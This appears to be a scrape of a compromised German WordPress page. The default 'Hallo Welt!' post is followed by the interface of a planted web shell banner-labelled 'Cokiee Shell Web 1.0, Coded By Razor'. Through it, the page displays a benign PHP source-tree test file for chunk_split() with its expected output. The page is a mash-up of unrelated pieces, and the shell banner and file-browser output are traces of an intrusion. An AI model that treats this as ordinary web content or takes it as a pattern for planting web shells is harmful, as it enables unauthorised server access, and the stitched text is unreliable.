Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/standard/tests/strings/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/standard/tests/strings/chunk_split_variation7.phpt |
--TEST-- Test chunk_split() function : usage variations - different double quoted values for 'str' argument --FILE-- <?php /* Prototype : string chunk_split(string $str [, int $chunklen [, string $ending]]) * Description: Returns split line * Source code: ext/standard/string.c * Alias to functions: none */ /* * Passing different double quoted strings for 'str' argument to chunk_split() * here 'chunklen' is set to 5 and 'ending' is "????" */ echo "*** Testing chunk_split() : with different double quoted values for 'str' argument ***\n"; // Initializing variables $chunklen = 5; $ending = "????"; // different values for 'str' $values = array( "", //empty " ", //space "This is simple string", //regular string "It's string with quotes", //string containing single quote "This contains @ # $ % ^ & chars", //string with special characters "This string\tcontains\rwhite space\nchars", "This is string with 1234 numbers", "This is string with \0 and ".chr(0)."null chars", //for binary safe "This is string with multiple space char", "Testing invalid \k and \m escape char", "This is to check with \\n and \\t" //to ignore \n and \t results ); // loop through each element of the array for 'str' for($count = 0; $count < count($values); $count++) { echo "-- Iteration ".($count+1)." --\n"; var_dump( chunk_split( $values[$count], $chunklen, $ending) ); } echo "Done" ?> --EXPECTF-- *** Testing chunk_split() : with different double quoted values for 'str' argument *** -- Iteration 1 -- string(4) "????" -- Iteration 2 -- string(5) " ????" -- Iteration 3 -- string(41) "This ????is si????mple ????strin????g????" -- Iteration 4 -- string(43) "It's ????strin????g wit????h quo????tes????" -- Iteration 5 -- string(59) "This ????conta????ins @???? # $ ????% ^ &???? char????s????" -- Iteration 6 -- string(70) "This ????strin????g con????tains???? whit????e spa????ce ch????ars????" -- Iteration 7 -- string(60) "This ????is st????ring ????with ????1234 ????numbe????rs????" -- Iteration 8 -- string(69) "This ????is st????ring ????with ???? and???? nul????l cha????rs????" -- Iteration 9 -- string(90) "This ????is st????ring ????with ???? mu????ltipl????e ???? ????space???? char????" -- Iteration 10 -- string(69) "Testi????ng in????valid???? \k a????nd \m???? esca????pe ch????ar????" -- Iteration 11 -- string(59) "This ????is to???? chec????k wit????h \n ????and \????t????" Done
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare